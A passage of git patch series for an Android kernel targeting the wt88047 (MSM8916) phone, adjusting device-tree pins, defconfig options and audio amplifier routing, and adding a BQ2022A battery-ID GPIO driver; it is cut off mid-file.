i2c_set_clientdata(client, s_akm); -#ifndef CONFIG_MACH_WT88047 /* initialize pinctrl */ if (!akm_pinctrl_init(s_akm)) { err = pinctrl_select_state(s_akm->pinctrl, s_akm->pin_default); @@ -2205,7 +2192,6 @@ int akm_compass_probe(struct i2c_client *client, const struct i2c_device_id *id) goto exit2; } } -#endif /* Pull up the reset pin */ AKECS_Reset(s_akm, 1); From e9691b6c8224aa85c4d469457959f0135e69495f Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sun, 31 Jan 2016 21:23:04 +0700 Subject: [PATCH 072/365] ARM: dts: wt88047: Remove fan-otg-pin * Not found any device driver use this pin Change-Id: Ib700b2facd6e1a2693e2442dd30d71be33f852eb --- .../boot/dts/qcom/wt88047/msm8916-wt88047.dtsi | 17 ----------------- 1 file changed, 17 deletions(-) diff --git a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi index a0e9051d2fc59..819bd877b9950 100644 --- a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi +++ b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi @@ -227,23 +227,6 @@ }; }; - fan-otg-pin { - qcom,pins = <&gp 114>; - qcom,num-grp-pins = <1>; - qcom,pin-func = <0>; - label = "fan-otg-pin"; - otg_pin_high: otg_pin_high { - drive-strength = <2>; - bias-pull-up; - output-high; - }; - otg_pin_low: otg_pin_low { - drive-strength = <2>; - bias-pull-down; - output-low; - }; - }; - akm_reset_pin { qcom,pins = <&gp 36>; qcom,pin-func = <0>; From 61253f5403785078cda932c90f15318a05efa5e7 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sun, 31 Jan 2016 22:21:08 +0700 Subject: [PATCH 073/365] ARM: dts: wt88047: Goodbye Tux * Updated LCD command seems fix LCD garbled issue on boot * Tux will back when needed Change-Id: Id8385e45f72ac116fab6b07701d0bc9196444133 --- arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi index 819bd877b9950..cad6b597c3b33 100644 --- a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi +++ b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi @@ -31,7 +31,7 @@ }; splash_region@83000000 { /* Give this region to mdss_fb0 */ - status = "disabled"; + /* status = "disabled"; */ }; secure_region@0 { @@ -138,8 +138,8 @@ mdss_fb0: qcom,mdss_fb_primary { /* Ketut P. Kumajaya: For old bootloader, old splash image */ /* Both recovery and bootanimation framebuffer need this */ - qcom,memblock-reserve = <0x83200000 0xfa0000>; - qcom,mdss-fb-splash-logo-enabled; + /* qcom,memblock-reserve = <0x83200000 0xfa0000>; + qcom,mdss-fb-splash-logo-enabled; */ }; }; From 3e18f40a6c2a3b551594ed76c7aacc1eb93dc0d7 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Mon, 1 Feb 2016 14:13:06 +0700 Subject: [PATCH 074/365] wt88047: Update kernel config * A little bit stock Lollipop config Change-Id: Ifb6d46b7849f2bf1722441b275955a1fbbacda93 --- .../arm/configs/cyanogenmod_wt88047_defconfig | 21 ++++++++----------- 1 file changed, 9 insertions(+), 12 deletions(-) diff --git a/arch/arm/configs/cyanogenmod_wt88047_defconfig b/arch/arm/configs/cyanogenmod_wt88047_defconfig index 651ceb2adb0d5..528ed1e6e1994 100644 --- a/arch/arm/configs/cyanogenmod_wt88047_defconfig +++ b/arch/arm/configs/cyanogenmod_wt88047_defconfig @@ -1064,12 +1064,8 @@ CONFIG_CFG80211_INTERNAL_REGDB=y # CONFIG_CFG80211_ALLOW_RECONNECT is not set # CONFIG_MAC80211 is not set # CONFIG_WIMAX is not set -CONFIG_RFKILL=y -CONFIG_RFKILL_PM=y -CONFIG_RFKILL_LEDS=y -# CONFIG_RFKILL_INPUT is not set +# CONFIG_RFKILL is not set # CONFIG_RFKILL_REGULATOR is not set -# CONFIG_RFKILL_GPIO is not set # CONFIG_NET_9P is not set # CONFIG_CAIF is not set # CONFIG_CEPH_LIB is not set @@ -1276,8 +1272,9 @@ CONFIG_MD=y CONFIG_BLK_DEV_DM_BUILTIN=y CONFIG_BLK_DEV_DM=y # CONFIG_DM_DEBUG is not set +CONFIG_DM_BUFIO=y CONFIG_DM_CRYPT=y -# CONFIG_DM_REQ_CRYPT is not set +CONFIG_DM_REQ_CRYPT=y # CONFIG_DM_SNAPSHOT is not set # CONFIG_DM_THIN_PROVISIONING is not set # CONFIG_DM_CACHE is not set @@ -1288,7 +1285,7 @@ CONFIG_DM_CRYPT=y # CONFIG_DM_DELAY is not set # CONFIG_DM_UEVENT is not set # CONFIG_DM_FLAKEY is not set -# CONFIG_DM_VERITY is not set +CONFIG_DM_VERITY=y # CONFIG_TARGET_CORE is not set CONFIG_NETDEVICES=y CONFIG_NET_CORE=y @@ -1890,10 +1887,10 @@ CONFIG_POWER_SUPPLY=y # CONFIG_SMB137C_CHARGER is not set # CONFIG_SMB349_USB_CHARGER is not set # CONFIG_SMB350_CHARGER is not set -CONFIG_SMB135X_CHARGER=y +# CONFIG_SMB135X_CHARGER is not set CONFIG_BQ2022A_SUPPORT=y CONFIG_SMB1360_CHARGER_FG=y -CONFIG_SMB358_CHARGER=y +# CONFIG_SMB358_CHARGER is not set # CONFIG_BATTERY_BQ28400 is not set # CONFIG_QPNP_CHARGER is not set # CONFIG_QPNP_SMBCHARGER is not set @@ -2843,8 +2840,8 @@ CONFIG_USB_G_ANDROID=y CONFIG_USB_CSW_HACK=y # CONFIG_USB_MSC_PROFILING is not set CONFIG_MODEM_SUPPORT=y -CONFIG_RMNET_SMD_CTL_CHANNEL="DATA40_CNTL" -CONFIG_RMNET_SMD_DATA_CHANNEL="DATA40" +CONFIG_RMNET_SMD_CTL_CHANNEL="" +CONFIG_RMNET_SMD_DATA_CHANNEL="" CONFIG_MMC=y # CONFIG_MMC_DEBUG is not set CONFIG_MMC_PERF_PROFILING=y @@ -3129,7 +3126,7 @@ CONFIG_ENABLE_LINUX_REG=y # # CONFIG_MSM_SSBI is not set CONFIG_SPS=y -# CONFIG_USB_BAM is not set +CONFIG_USB_BAM=y # CONFIG_SPS_SUPPORT_BAMDMA is not set CONFIG_SPS_SUPPORT_NDP_BAM=y CONFIG_QPNP_POWER_ON=y From 78dfb00c33e1150ad361a29784358e9be20911f5 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Wed, 3 Feb 2016 13:49:46 +0700 Subject: [PATCH 075/365] ARM: dts: wt88047: Update l16 regulator voltage range * To default AW2013 LED VDD voltage range Change-Id: Ifd1c6eb4894d15c5133d329750b31cdaeb87ca20 --- arch/arm/boot/dts/qcom/msm8916-wt88047.dts | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/arch/arm/boot/dts/qcom/msm8916-wt88047.dts b/arch/arm/boot/dts/qcom/msm8916-wt88047.dts index 4a0c33cef6e43..2b12a96fdb274 100644 --- a/arch/arm/boot/dts/qcom/msm8916-wt88047.dts +++ b/arch/arm/boot/dts/qcom/msm8916-wt88047.dts @@ -166,7 +166,8 @@ }; &pm8916_l16 { - qcom,init-voltage = <1800000>; + regulator-min-microvolt = <2600000>; + qcom,init-voltage = <2600000>; regulator-always-on; }; From 66034987c96343217a73f3b8f1e186e2ddedb03c Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sun, 7 Feb 2016 09:54:27 +0700 Subject: [PATCH 076/365] Revert "mach-msm: Set default MSM8916 kernel base address" This reverts commit 1ef39871031eb4169aff29bbbe881af4c57a3574. Change-Id: Ib255283849f76bc83ec682beec933923e22a29f5 --- arch/arm/mach-msm/Kconfig | 1 - 1 file changed, 1 deletion(-) diff --git a/arch/arm/mach-msm/Kconfig b/arch/arm/mach-msm/Kconfig index 85ecdb2306668..283a831adb63f 100644 --- a/arch/arm/mach-msm/Kconfig +++ b/arch/arm/mach-msm/Kconfig @@ -428,7 +428,6 @@ config PHYS_OFFSET hex default "0x00000000" if ARCH_MSM8974 default "0x00000000" if ARCH_APQ8084 - default "0x80000000" if ARCH_MSM8916 default "0x00000000" if ARCH_MSM8226 default "0x00000000" if ARCH_MSM8610 default "0x0b600000" if ARCH_FSM9900 From 177e41eec7030d2d88c793ca3a09f6d04e2d29ba Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sun, 7 Feb 2016 10:00:10 +0700 Subject: [PATCH 077/365] wt88047: defconfig: Enable ARM_PATCH_PHYS_VIRT * So, the kernel no need hardcoded kernel base address anymore Change-Id: I4a47dd0b7d6292b61af03de806829caf34f244f3 --- arch/arm/configs/cyanogenmod_wt88047_defconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/arch/arm/configs/cyanogenmod_wt88047_defconfig b/arch/arm/configs/cyanogenmod_wt88047_defconfig index 528ed1e6e1994..e96b496e5fa83 100644 --- a/arch/arm/configs/cyanogenmod_wt88047_defconfig +++ b/arch/arm/configs/cyanogenmod_wt88047_defconfig @@ -16,7 +16,7 @@ CONFIG_GENERIC_CALIBRATE_DELAY=y CONFIG_NEED_DMA_MAP_STATE=y CONFIG_ARCH_WANT_KMAP_ATOMIC_FLUSH=y CONFIG_VECTORS_BASE=0xffff0000 -# CONFIG_ARM_PATCH_PHYS_VIRT is not set +CONFIG_ARM_PATCH_PHYS_VIRT=y CONFIG_NEED_MACH_GPIO_H=y CONFIG_NEED_MACH_IO_H=y CONFIG_NEED_MACH_MEMORY_H=y From d357c725db341613a7129b54432db9a6171a29f9 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sun, 7 Feb 2016 13:54:24 +0700 Subject: [PATCH 078/365] Revert "ASoC: msm: Disable external mic bias for WT88047" This reverts commit 8331db6c43c5d7f8c1ad310ad79ea33408215e38. Change-Id: Ief26f953a70684f6faa8bf2ef78a4877b8b2bc67 --- sound/soc/codecs/msm8x16-wcd.c | 4 ---- 1 file changed, 4 deletions(-) diff --git a/sound/soc/codecs/msm8x16-wcd.c b/sound/soc/codecs/msm8x16-wcd.c index f834d3b5d6fa2..61eb6381b9eb5 100644 --- a/sound/soc/codecs/msm8x16-wcd.c +++ b/sound/soc/codecs/msm8x16-wcd.c @@ -3395,9 +3395,7 @@ static int msm8x16_wcd_codec_enable_micbias(struct snd_soc_dapm_widget *w, char *internal2_text = "Internal2"; char *internal3_text = "Internal3"; char *external2_text = "External2"; -#ifndef CONFIG_MACH_WT88047 char *external_text = "External"; -#endif bool micbias2; dev_dbg(codec->dev, "%s %d\n", __func__, event); @@ -3432,13 +3430,11 @@ static int msm8x16_wcd_codec_enable_micbias(struct snd_soc_dapm_widget *w, snd_soc_update_bits(codec, micb_int_reg, 0x2, 0x2); #endif } -#ifndef CONFIG_MACH_WT88047 if (!strnstr(w->name, external_text, strlen(w->name))) snd_soc_update_bits(codec, MSM8X16_WCD_A_ANALOG_MICB_1_EN, 0x05, 0x04); if (w->reg == MSM8X16_WCD_A_ANALOG_MICB_1_EN) msm8x16_wcd_configure_cap(codec, true, micbias2); -#endif break; case SND_SOC_DAPM_POST_PMU: From 89750aa979f24139796b8fb2edbad117c451caee Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sun, 7 Feb 2016 14:14:24 +0700 Subject: [PATCH 079/365] ARM: dts: wt88047: Enable external micbias Change-Id: I83df5724a7bbfedefccee8fe44dbc0f749908147 --- arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi | 1 + 1 file changed, 1 insertion(+) diff --git a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi index cad6b597c3b33..8ce6658e8e444 100644 --- a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi +++ b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi @@ -67,6 +67,7 @@ qcom,msm-mbhc-hphl-swh = <1>; qcom,msm-mbhc-gnd-swh = <0>; qcom,msm-hs-micbias-type = "internal"; + qcom,msm-micbias1-ext-cap; qcom,audio-routing = "RX_BIAS", "MCLK", "SPK_RX_BIAS", "MCLK", From f3e70ee33e821c65bbe99178d45f8def83af71e0 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Mon, 7 Mar 2016 21:16:22 +0700 Subject: [PATCH 080/365] wt88047: ASoC: Merge KitKat source drop Change-Id: I0109a915373d283af50cc5a067c521acb07e7702 --- sound/soc/codecs/msm8x16-wcd.c | 45 ++++++++++++++++++++++++++++++++++ sound/soc/codecs/wcd-mbhc-v2.c | 4 +++ sound/soc/msm/msm8x16.c | 30 +++++++++++------------ 3 files changed, 64 insertions(+), 15 deletions(-) diff --git a/sound/soc/codecs/msm8x16-wcd.c b/sound/soc/codecs/msm8x16-wcd.c index 61eb6381b9eb5..4f9dc6faff0ac 100644 --- a/sound/soc/codecs/msm8x16-wcd.c +++ b/sound/soc/codecs/msm8x16-wcd.c @@ -2956,6 +2956,12 @@ static const struct snd_kcontrol_new hphr_mux[] = { SOC_DAPM_ENUM_VIRT("HPHR", hph_enum) }; +#ifdef CONFIG_MACH_WT88047 +static const struct snd_kcontrol_new hphspk_mux[] = { + SOC_DAPM_ENUM_VIRT("HPH SPK", hph_enum) +}; +#endif + static const struct snd_kcontrol_new spkr_switch[] = { SOC_DAPM_SINGLE("Switch", MSM8X16_WCD_A_ANALOG_SPKR_DAC_CTL, 7, 1, 0) @@ -4166,15 +4172,28 @@ static const struct snd_soc_dapm_route audio_map[] = { {"HPHL PA", NULL, "HPHL"}, {"HPHR PA", NULL, "HPHR"}, +#ifdef CONFIG_MACH_WT88047 + {"SPK EXTN PA", NULL, "HPH SPK"}, +#endif {"HPHL", "Switch", "HPHL DAC"}, {"HPHR", "Switch", "HPHR DAC"}, +#ifdef CONFIG_MACH_WT88047 + {"HPH SPK", "Switch", "HPHR DAC"}, +#endif {"HPHL PA", NULL, "CP"}, {"HPHL PA", NULL, "RX_BIAS"}, +#ifdef CONFIG_MACH_WT88047 + {"SPK EXTN PA", NULL, "CP"}, + {"SPK EXTN PA", NULL, "RX_BIAS"}, +#endif {"HPHR PA", NULL, "CP"}, {"HPHR PA", NULL, "RX_BIAS"}, {"HPHL DAC", NULL, "RX1 CHAIN"}, {"SPK_OUT", NULL, "SPK PA"}, +#ifdef CONFIG_MACH_WT88047 + {"SPK_EXTN_OUT", NULL, "SPK EXTN PA"}, +#endif {"SPK PA", NULL, "SPK_RX_BIAS"}, {"SPK PA", NULL, "SPK DAC"}, {"SPK DAC", "Switch", "RX3 CHAIN"}, @@ -4741,11 +4760,24 @@ static const struct snd_soc_dapm_widget msm8x16_wcd_dapm_widgets[] = { SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD), +#ifdef CONFIG_MACH_WT88047 + SND_SOC_DAPM_VIRT_MUX("HPH SPK", SND_SOC_NOPM, 0, 0, hphspk_mux), + + SND_SOC_DAPM_PGA_E("SPK EXTN PA", MSM8X16_WCD_A_ANALOG_RX_HPH_CNP_EN, + 4, 0, NULL, 0, + msm8x16_wcd_hph_pa_event, SND_SOC_DAPM_PRE_PMU | + SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_PRE_PMD | + SND_SOC_DAPM_POST_PMD), +#endif + SND_SOC_DAPM_MIXER("SPK DAC", SND_SOC_NOPM, 0, 0, spkr_switch, ARRAY_SIZE(spkr_switch)), /* Speaker */ SND_SOC_DAPM_OUTPUT("SPK_OUT"), +#ifdef CONFIG_MACH_WT88047 + SND_SOC_DAPM_OUTPUT("SPK_EXTN_OUT"), +#endif SND_SOC_DAPM_PGA_E("SPK PA", MSM8X16_WCD_A_ANALOG_SPKR_DRV_CTL, 6, 0 , NULL, 0, msm8x16_wcd_codec_enable_spk_pa, @@ -5128,6 +5160,10 @@ static struct regulator *wcd8x16_wcd_codec_find_regulator( static int msm8x16_wcd_device_down(struct snd_soc_codec *codec) { +#ifdef CONFIG_MACH_WT88047 + u8 state = 0; +#endif + struct msm8916_asoc_mach_data *pdata = NULL; struct msm8x16_wcd_priv *msm8x16_wcd_priv = snd_soc_codec_get_drvdata(codec); @@ -5180,8 +5216,17 @@ static int msm8x16_wcd_device_down(struct snd_soc_codec *codec) /* 40ms to allow boost to discharge */ msleep(40); /* Disable PA to avoid pop during codec bring up */ +#ifdef CONFIG_MACH_WT88047 + state = gpio_get_value(EXT_SPK_AMP_GPIO); + pr_debug("%s external audio pa state: %d\n", __func__, state); + if (!state) { + snd_soc_update_bits(codec, MSM8X16_WCD_A_ANALOG_RX_HPH_CNP_EN, + 0x30, 0x00); + } +#else snd_soc_update_bits(codec, MSM8X16_WCD_A_ANALOG_RX_HPH_CNP_EN, 0x30, 0x00); +#endif snd_soc_update_bits(codec, MSM8X16_WCD_A_ANALOG_SPKR_DRV_CTL, 0x80, 0x00); msm8x16_wcd_write(codec, diff --git a/sound/soc/codecs/wcd-mbhc-v2.c b/sound/soc/codecs/wcd-mbhc-v2.c index 526fc7a6ce7a6..a93da9286939a 100644 --- a/sound/soc/codecs/wcd-mbhc-v2.c +++ b/sound/soc/codecs/wcd-mbhc-v2.c @@ -41,7 +41,11 @@ SND_JACK_BTN_6 | SND_JACK_BTN_7) #define OCP_ATTEMPT 1 #define HS_DETECT_PLUG_TIME_MS (3 * 1000) +#ifdef CONFIG_MACH_WT88047 +#define SPECIAL_HS_DETECT_TIME_MS 500 +#else #define SPECIAL_HS_DETECT_TIME_MS (2 * 1000) +#endif #define MBHC_BUTTON_PRESS_THRESHOLD_MIN 250 #define GND_MIC_SWAP_THRESHOLD 4 #define WCD_FAKE_REMOVAL_MIN_PERIOD_MS 100 diff --git a/sound/soc/msm/msm8x16.c b/sound/soc/msm/msm8x16.c index dc7ee387aa870..546794d7c6462 100755 --- a/sound/soc/msm/msm8x16.c +++ b/sound/soc/msm/msm8x16.c @@ -401,44 +401,42 @@ static void msm8x16_ext_spk_gpio_free(void) static void msm8x16_ext_spk_delayed_enable(struct work_struct *work) { - int i; + int i = 0; gpio_direction_output(EXT_SPK_AMP_HEADSET_GPIO, 0); - usleep_range(3000, 5000); + usleep_range(13000, 15000); gpio_direction_output(EXT_SPK_AMP_GPIO, 1); usleep_range(13000, 15000); - for (i = 0; i < 1; i++) { + for (i = 0; i < 5; i++) { gpio_direction_output(EXT_SPK_AMP_GPIO_1, 1); - usleep_range(13000, 15000); + usleep_range(100, 105); gpio_direction_output(EXT_SPK_AMP_GPIO_1, 0); - usleep_range(3000, 5000); + usleep_range(100, 105); } gpio_direction_output(EXT_SPK_AMP_GPIO_1, 1); - usleep_range(13000, 15000); - pr_info("%s: Enable external speaker PAs.\n", __func__); + pr_debug("%s: Enable external speaker PAs.\n", __func__); } static void msm8x16_ext_spk_delayed_dualmode(struct work_struct *work) { - int i; + int i = 0; gpio_direction_output(EXT_SPK_AMP_HEADSET_GPIO, 1); usleep_range(13000, 15000); gpio_direction_output(EXT_SPK_AMP_GPIO, 1); usleep_range(13000, 15000); - for (i = 0; i < 1; i++) { + for (i = 0; i < 5; i++) { gpio_direction_output(EXT_SPK_AMP_GPIO_1, 1); - usleep_range(13000, 15000); + usleep_range(100, 105); gpio_direction_output(EXT_SPK_AMP_GPIO_1, 0); - usleep_range(3000, 5000); + usleep_range(100, 105); } gpio_direction_output(EXT_SPK_AMP_GPIO_1, 1); - usleep_range(13000, 15000); - pr_info("%s: Enable external speaker PAs dualmode.\n", __func__); + pr_debug("%s: Enable external speaker PAs dualmode.\n", __func__); } #endif @@ -674,8 +672,7 @@ static int lineout_status_put(struct snd_kcontrol *kcontrol, case 0: gpio_direction_output(EXT_SPK_AMP_GPIO_1, 0); usleep_range(3000, 5000); - gpio_direction_output(EXT_SPK_AMP_GPIO , 0); - usleep_range(3000, 5000); + gpio_direction_output(EXT_SPK_AMP_GPIO, 0); break; case 1: schedule_delayed_work(&lineout_amp_enable, msecs_to_jiffies(100)); @@ -1794,6 +1791,9 @@ static int msm_audrx_init(struct snd_soc_pcm_runtime *rtd) snd_soc_dapm_ignore_suspend(dapm, "EAR"); snd_soc_dapm_ignore_suspend(dapm, "HEADPHONE"); snd_soc_dapm_ignore_suspend(dapm, "SPK_OUT"); +#ifdef CONFIG_MACH_WT88047 + snd_soc_dapm_ignore_suspend(dapm, "SPK_EXTN_OUT"); +#endif snd_soc_dapm_ignore_suspend(dapm, "AMIC1"); snd_soc_dapm_ignore_suspend(dapm, "AMIC2"); snd_soc_dapm_ignore_suspend(dapm, "AMIC3"); From 7077301818b11af98fa31389aa32e5903d81ae78 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Mon, 7 Mar 2016 23:01:15 +0700 Subject: [PATCH 081/365] power: Related changes from KitKat source drop Change-Id: Ie85a5256c59608ba8d9c8cfa350767abebe152bc --- .../dts/qcom/wt88047/msm8916-wt88047.dtsi | 1 + drivers/power/Kconfig | 6 + drivers/power/Makefile | 5 + drivers/power/bq2022a-batid.c | 320 ++ drivers/power/bq2022a-batid.h | 8 + drivers/power/smb1360-charger-fg-wt88047.c | 4576 +++++++++++++++++ include/linux/usb/msm_hsusb.h | 4 + 7 files changed, 4920 insertions(+) create mode 100644 drivers/power/bq2022a-batid.c create mode 100644 drivers/power/bq2022a-batid.h create mode 100644 drivers/power/smb1360-charger-fg-wt88047.c diff --git a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi index 8ce6658e8e444..0c00a80255741 100644 --- a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi +++ b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi @@ -118,6 +118,7 @@ bq2022a { compatible = "bq2022a"; + qcom,bq2022a-id-gpio = <&pm8916_gpios 3 0>; status= "okay"; }; }; diff --git a/drivers/power/Kconfig b/drivers/power/Kconfig index 9e1d73dbb14a9..8efb276b08df9 100644 --- a/drivers/power/Kconfig +++ b/drivers/power/Kconfig @@ -383,6 +383,12 @@ config SMB135X_CHARGER The driver reports the charger status via the power supply framework. A charger status change triggers an IRQ via the device STAT pin. +config BQ2022A_SUPPORT + bool "BQ2022A_SUPPORT" + depends on OF + help + ba2022a use to get battery ID. + config SMB1360_CHARGER_FG tristate "SMB1360 Charger and Fuel Guage" depends on I2C diff --git a/drivers/power/Makefile b/drivers/power/Makefile index 1355701f5b95e..bef2c64865b3d 100644 --- a/drivers/power/Makefile +++ b/drivers/power/Makefile @@ -54,7 +54,12 @@ obj-$(CONFIG_POWER_AVS) += avs/ obj-$(CONFIG_SMB349_USB_CHARGER) += smb349-charger.o obj-$(CONFIG_SMB350_CHARGER) += smb350_charger.o obj-$(CONFIG_SMB135X_CHARGER) += smb135x-charger.o +obj-$(CONFIG_BQ2022A_SUPPORT) += bq2022a-batid.o +ifeq ($(CONFIG_MACH_WT88047),y) +obj-$(CONFIG_SMB1360_CHARGER_FG) += smb1360-charger-fg-wt88047.o +else obj-$(CONFIG_SMB1360_CHARGER_FG) += smb1360-charger-fg.o +endif obj-$(CONFIG_SMB358_CHARGER) += smb358-charger.o obj-$(CONFIG_BATTERY_BQ28400) += bq28400_battery.o obj-$(CONFIG_SMB137C_CHARGER) += smb137c-charger.o diff --git a/drivers/power/bq2022a-batid.c b/drivers/power/bq2022a-batid.c new file mode 100644 index 0000000000000..680c610ed5e61 --- /dev/null +++ b/drivers/power/bq2022a-batid.c @@ -0,0 +1,320 @@ +#define pr_fmt(fmt) "BQ2022A:%s: " fmt, __func__ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "bq2022a-batid.h" +/* #include */ + +/* BQ2022A. */ +#define ROM_COMMAND (0xcc) +#define CTL_COMMAND (0xc3) +#define WADDR_LB (0x00) +#define WADDR_HB (0x00) +#define GPIO_HIGH 1 +#define GPIO_LOW 0 +#define GPIO_BATT_ID_PIN (902+2) + +static struct bq2022a_platform_data *g_bq2022a; +static int bq2022a_bat_id = GPIO_BATT_ID_PIN; + +unsigned char bq2022a_sdq_detect(void) +{ + unsigned int PresenceTimer = 50; + static volatile unsigned char InputData; + static volatile unsigned char GotPulse; + + gpio_direction_output(bq2022a_bat_id, GPIO_LOW); + + udelay(800); + gpio_direction_input(bq2022a_bat_id); + udelay(60); + + while ((PresenceTimer > 0) && (GotPulse == 0)) { + InputData = gpio_get_value(bq2022a_bat_id); + if (InputData == 0) { + GotPulse = 1; + } else { + GotPulse = 0; + --PresenceTimer; + } + } + udelay(200); + + return GotPulse; +} +unsigned char bq2022a_sdq_readbyte(int time) +{ + unsigned char data = 0x00; + unsigned char mask, i; + unsigned long flags; + + spin_lock_irqsave(&g_bq2022a->bqlock, flags); + + for (i = 0; i < 8; i++) { + gpio_direction_output(bq2022a_bat_id, GPIO_LOW); + + udelay(7); + gpio_direction_input(bq2022a_bat_id); + udelay(time); + mask = gpio_get_value(bq2022a_bat_id); + udelay(65); + mask <<= i; + data = (data | mask); + } + + udelay(200); + spin_unlock_irqrestore(&g_bq2022a->bqlock, flags); + + return data; +} + +void bq2022a_sdq_writebyte(u8 value) +{ + unsigned char mask = 1; + int i; + unsigned long flags; + + spin_lock_irqsave(&g_bq2022a->bqlock, flags); + + + gpio_direction_output(bq2022a_bat_id, GPIO_HIGH); + + for (i = 0; i < 8; i++) { + gpio_set_value(bq2022a_bat_id, GPIO_LOW); + udelay(4); + if (mask & value) { + udelay(10); + gpio_set_value(bq2022a_bat_id, GPIO_HIGH); + udelay(100); + } else { + udelay(100); + gpio_set_value(bq2022a_bat_id, GPIO_HIGH); + udelay(10); + } + + udelay(7); + mask <<= 1; + } + + spin_unlock_irqrestore(&g_bq2022a->bqlock, flags); + +} + +static int bat_module_id; +bool is_battery_feedback; + +static const unsigned char con_bat_id[] = { + 0xed, 0x21, 0x4c, 0xe5, + 0xed, 0xa9, 0x4b, 0x2e, +}; + +static int bq2022a_read_bat_id(int delay_time, int pimc_pin) +{ + unsigned char bat_id = 0xff; + unsigned char reset_id = 0; + int i = 0; + + for (i = 0; i < 10; i++) { + reset_id = bq2022a_sdq_detect(); + if (reset_id && pimc_pin) { + is_battery_feedback = true; + break; + } + } + + bq2022a_sdq_writebyte(ROM_COMMAND); + bq2022a_sdq_writebyte(CTL_COMMAND); + bq2022a_sdq_writebyte(WADDR_LB); + bq2022a_sdq_writebyte(WADDR_HB); + bat_id = bq2022a_sdq_readbyte(delay_time); + + for (i = 0; i < 34; i++) { + bat_id = bq2022a_sdq_readbyte(delay_time); + pr_debug("reset_id:%x is_battery_feedback:%d temp ID:%x!!\n", reset_id, is_battery_feedback, bat_id); + if ((bat_id != con_bat_id[i]) && (i < 8)) { + pr_err("read family code Error!!\n"); + break; + } + + if ((i == 8) && (bat_id != 0x62)) { + bat_module_id = (bat_id & 0x0f); + break; + } else if (i == 33) { + if (bat_id == 0xdb) + bat_module_id = 17; + else if (bat_id == 0x3c) + bat_module_id = 0x02; + break; + } + } + bat_id = bq2022a_sdq_readbyte(delay_time); + gpio_direction_output(bq2022a_bat_id, GPIO_HIGH); + + if (((0 < bat_module_id) && (bat_module_id < 11)) || (bat_module_id == 17)) + pr_debug("get correct ID!!\n"); + else { + if (is_battery_feedback) { + bat_module_id = 0; + pr_debug("use common ID!!\n"); + } else { + bat_module_id = 0xff; + pr_debug("get wrong ID!!\n"); + return -ENODEV; + } + } + + pr_err("bat_module_id= %x\n", bat_module_id); + return 0; +} +int bq2022a_get_bat_module_id(void) +{ + if (((0 <= bat_module_id) && (bat_module_id < 11)) || (bat_module_id == 17)) + return bat_module_id; + else + return 0xff; +} +EXPORT_SYMBOL_GPL(bq2022a_get_bat_module_id); +static const struct of_device_id of_bq2022as_match[] = { + { .compatible = "bq2022a", }, + {}, +}; + +static int bq2022a_probe(struct platform_device *pdev) +{ + struct bq2022a_platform_data *data; + int rc = 0; + int delay_time = 0; + char bat_id_buf[64] = {0}; + + pr_debug(" entry!\n"); + + bq2022a_bat_id = of_get_named_gpio(pdev->dev.of_node, "qcom,bq2022a-id-gpio", 0); + if (bq2022a_bat_id <= 0) { + pr_err("can't get battery id pin from dts nod, so use BB gpio2\n"); + bq2022a_bat_id = GPIO_BATT_ID_PIN; + } + + pr_debug("bat_id_pin_num:%d\n", bq2022a_bat_id); + + if (gpio_request(bq2022a_bat_id, "Batt_ID")) { + pr_err("GPIO request failed!\n"); + rc = -EPROBE_DEFER; + return rc; + } + + data = (struct bq2022a_platform_data *) kzalloc(sizeof(struct bq2022a_platform_data), GFP_KERNEL); + if (data == NULL) { + pr_err("kzalloc Failed!\n"); + return -ENOMEM; + } + g_bq2022a = data; + + spin_lock_init(&g_bq2022a->bqlock); + + delay_time = 5; + do { + msleep(10); + rc = bq2022a_read_bat_id(delay_time, 1); + delay_time++; + } while ((rc < 0) && (delay_time < 10)); + + if (rc) { + pr_debug("check batt id Error!\n"); + if (bq2022a_bat_id != GPIO_BATT_ID_PIN) { + pr_err("use gpio2 to detect battery id!\n"); + bq2022a_bat_id = GPIO_BATT_ID_PIN; + delay_time = 5; + bq2022a_read_bat_id(delay_time, 0); + } + } + switch (bq2022a_get_bat_module_id()) { + case 0: + sprintf(bat_id_buf, "%s", "0 Common"); + break; + case 1: + sprintf(bat_id_buf, "%s", "1 Sunwoda + Samsung"); + break; + case 2: 